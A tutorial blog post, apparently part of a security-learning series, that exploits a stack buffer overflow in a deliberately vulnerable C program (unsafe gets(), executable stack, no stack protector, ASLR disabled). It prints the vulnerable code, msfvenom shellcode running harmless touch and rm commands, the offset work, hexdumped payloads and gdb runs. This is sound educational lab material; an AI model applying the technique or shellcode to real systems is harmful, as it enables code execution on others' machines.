Shattering the stack (2)

08 Dec 2023

This post builds upon the previous ones: Shattering the stack (1) where we got familiar with some basic buffer overflow exploits and the ASLR, and Diving into shellcodes (0) where we explored some simple shellcodes. Now we take a step further to execute arbitrary code in situations where the stack is executable. The source code is available here.

vulnerable code

We are using a slightly modified version of the previous C code which demonstrate a simple buffer overflow vulnerability (due to the use of the unsafe gets() function). We increased the size of buff from 10 to 100 bytes (so our shellcodes can fit) and added printf("%p\n", &buff); to make our life easier when we determine where to jump (where our shellcode starts):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gets() was removed from the C11 standard
char* gets(char* str);

int authenticate(void)
{
    char buff[100];
    char cmd[10];
    int auth = 0;

    printf("%p\n", &buff);

    puts("enter the password:");
    gets(buff);
    
    if(strcmp(buff, "12345"))
    {
        puts("wrong password");
    }
    else
    {
        puts("correct password");
        auth = 1;

    }
    
    if(auth)
    {
        puts("authenticated");
        puts("your files:");
        strcpy(cmd, "ls");
        system(cmd);
    }

    return 0;
}

int main(void)
{
    authenticate();
    return 0;
}

void secret(void)
{
    puts("secret found!");
}

exploit

Let’s compile and inspect the binary:

$ gcc lab/buffer-overflow/bof-server2.c -g -o build/bof-server-pie2 -fPIE -pie -fno-stack-protector -z execstack
...
$ readelf -l build/bof-server-pie2   

Elf file type is DYN (Position-Independent Executable file)
Entry point 0x1090
There are 13 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
...
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
...

We added the -fno-stack-protector and -z execstack flags which resulted in an executable stack (RWE = Read + Write + Execute) without the stack protection security feature which would prevent stack buffer overflow attacks.

Now there are 2 things left to do, we need to generate our shellcode and assemble the whole payload. We generate 2 shellcodes, one to create the hidden file .tmpdata. The shellcode should not contain \x0a because it is the newline character and gets() stops at newline. We could specify -b \x0a to explicitly avoid this character but in my experience we might get broken shellcodes and without -b \x0a we get good payloads (no newlines) most of the times.

$ msfconsole
...
msf6 > msfvenom -p linux/x64/exec CMD="touch .tmpdata" -b \x00 -f python
[*] exec: msfvenom -p linux/x64/exec CMD="touch .tmpdata" -b \x00 -f python
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 51 bytes
Final size of python file: 270 bytes
buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0f"
buf += b"\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2e\x74\x6d"
buf += b"\x70\x64\x61\x74\x61\x00\x56\x57\x54\x5e\x6a\x3b"
buf += b"\x58\x0f\x05"

And an other one to remove the hidden file .tmpdata:

$ msfconsole
...
msf6 > msfvenom -p linux/x64/exec CMD="rm .tmpdata" -b \x00 -f python
[*] exec: msfvenom -p linux/x64/exec CMD="rm .tmpdata" -b \x00 -f python
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of python file: 247 bytes
buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c"
buf += b"\x00\x00\x00\x72\x6d\x20\x2e\x74\x6d\x70\x64\x61"
buf += b"\x74\x61\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

Before we start to assemble our payload, we need the offset of variable buff relative to rbp. This offset and the size of rbp (8 bytes) will be the maximum size of our shellcode.

$ objdump -d build/bof-server-pie2
...
0000000000001179 <authenticate>:
    1179:	55                   	push   %rbp
...
    11b2:	48 8d 45 90          	lea    -0x70(%rbp),%rax
    11b6:	48 89 c7             	mov    %rax,%rdi
    11b9:	e8 b2 fe ff ff       	call   1070 <gets@plt>
...

As we can see the offset is 0x70.

We need the address of buff as well which we use to overwrite the return address (our shellcode starts here). To make things simpler I added printf("%p\n", &buff); to our POC code. We spawn a shell with ASLR disabled for simplicity also (ASLR makes exploiting the executable stack a lot more difficult by randomozing the addresses):

$ setarch `uname -m` -R /bin/bash
$ build/bof-server-pie2
0x7fffffffdc30
enter the password:

The whole payload contains:

shellcode
padding (if the shellcode size is less than 0x70 + 8 bytes)
address of buff

I implemented payload.py to automate the payload generation and created 2 payloads:

$ hexdump -C payload-touch                                              
00000000  48 b8 2f 62 69 6e 2f 73  68 00 99 50 54 5f 52 66  |H./bin/sh..PT_Rf|
00000010  68 2d 63 54 5e 52 e8 0f  00 00 00 74 6f 75 63 68  |h-cT^R.....touch|
00000020  20 2e 74 6d 70 64 61 74  61 00 56 57 54 5e 6a 3b  | .tmpdata.VWT^j;|
00000030  58 0f 05 78 78 78 78 78  78 78 78 78 78 78 78 78  |X..xxxxxxxxxxxxx|
00000040  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000070  78 78 78 78 78 78 78 78  30 dc ff ff ff 7f 00 00  |xxxxxxxx0.......|
00000080

$ hexdump -C payload-rm   
00000000  48 b8 2f 62 69 6e 2f 73  68 00 99 50 54 5f 52 66  |H./bin/sh..PT_Rf|
00000010  68 2d 63 54 5e 52 e8 0c  00 00 00 72 6d 20 2e 74  |h-cT^R.....rm .t|
00000020  6d 70 64 61 74 61 00 56  57 54 5e 6a 3b 58 0f 05  |mpdata.VWT^j;X..|
00000030  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000070  78 78 78 78 78 78 78 78  30 dc ff ff ff 7f 00 00  |xxxxxxxx0.......|
00000080

Now we can test our payloads:

$ setarch `uname -m` -R /bin/bash
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa   108 Dec  6 19:32 target
drwxr-xr-x. 1 gemesa gemesa    26 Nov 29 10:18 .vscode
$ build/bof-server-pie2 < lab/buffer-overflow/payload-touch
0x7fffffffdc30
enter the password:
wrong password
authenticated
your files:
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	notes  README.md  target
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa   108 Dec  6 19:32 target
-rw-r--r--. 1 gemesa gemesa     0 Dec  7 15:40 .tmpdata
drwxr-xr-x. 1 gemesa gemesa    26 Nov 29 10:18 .vscode
$ build/bof-server-pie2 < lab/buffer-overflow/payload-rm
0x7fffffffdc30
enter the password:
wrong password
authenticated
your files:
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	notes  README.md  target
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa   108 Dec  6 19:32 target
drwxr-xr-x. 1 gemesa gemesa    26 Nov 29 10:18 .vscode

Note that with gdb the address of buff might be different so we need to regenerate our payloads with payload.py:

$ gdb build/bof-server-pie2
...
(gdb) p &buff
$1 = (char (*)[100]) 0x7fffffffdbd0

$ hexdump -C payload-touch                                            
00000000  48 b8 2f 62 69 6e 2f 73  68 00 99 50 54 5f 52 66  |H./bin/sh..PT_Rf|
00000010  68 2d 63 54 5e 52 e8 0f  00 00 00 74 6f 75 63 68  |h-cT^R.....touch|
00000020  20 2e 74 6d 70 64 61 74  61 00 56 57 54 5e 6a 3b  | .tmpdata.VWT^j;|
00000030  58 0f 05 78 78 78 78 78  78 78 78 78 78 78 78 78  |X..xxxxxxxxxxxxx|
00000040  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000070  78 78 78 78 78 78 78 78  d0 db ff ff ff 7f 00 00  |xxxxxxxx........|
00000080
$ hexdump -C payload-rm   
00000000  48 b8 2f 62 69 6e 2f 73  68 00 99 50 54 5f 52 66  |H./bin/sh..PT_Rf|
00000010  68 2d 63 54 5e 52 e8 0c  00 00 00 72 6d 20 2e 74  |h-cT^R.....rm .t|
00000020  6d 70 64 61 74 61 00 56  57 54 5e 6a 3b 58 0f 05  |mpdata.VWT^j;X..|
00000030  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000070  78 78 78 78 78 78 78 78  d0 db ff ff ff 7f 00 00  |xxxxxxxx........|
00000080

Run with gdb:

$ setarch `uname -m` -R /bin/bash
$ gdb build/bof-server-pie2
...
(gdb) r < lab/buffer-overflow/payload-touch 
Starting program: /home/gemesa/git-repos/shadow-shell/build/bof-server-pie2 < lab/buffer-overflow/payload-touch

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n]) 
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x7fffffffdbd0
enter the password:
wrong password
authenticated
your files:
[Detaching after vfork from child process 193326]
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	notes  README.md  target
process 193323 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.37-14.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 193323 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: dnf debuginfo-install bash-5.2.21-1.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Inferior 1 (process 193323) exited normally]
Missing separate debuginfos, use: dnf debuginfo-install coreutils-9.1-12.fc38.x86_64
(gdb) exit
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa   108 Dec  6 19:32 target
-rw-r--r--. 1 gemesa gemesa     0 Dec  7 16:08 .tmpdata
drwxr-xr-x. 1 gemesa gemesa    26 Nov 29 10:18 .vscode
$ gdb build/bof-server-pie2
...
(gdb) r < lab/buffer-overflow/payload-rm
Starting program: /home/gemesa/git-repos/shadow-shell/build/bof-server-pie2 < lab/buffer-overflow/payload-rm

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n]) 
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x7fffffffdbd0
enter the password:
wrong password
authenticated
your files:
[Detaching after vfork from child process 193434]
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	notes  README.md  target
process 193431 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.37-14.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 193431 is executing new program: /usr/bin/rm
Missing separate debuginfos, use: dnf debuginfo-install bash-5.2.21-1.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Inferior 1 (process 193431) exited normally]
Missing separate debuginfos, use: dnf debuginfo-install coreutils-9.1-12.fc38.x86_64
(gdb) exit
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa   108 Dec  6 19:32 target
drwxr-xr-x. 1 gemesa gemesa    26 Nov 29 10:18 .vscode

References:

https://github.com/muhammet-mucahit/Security-Exercises

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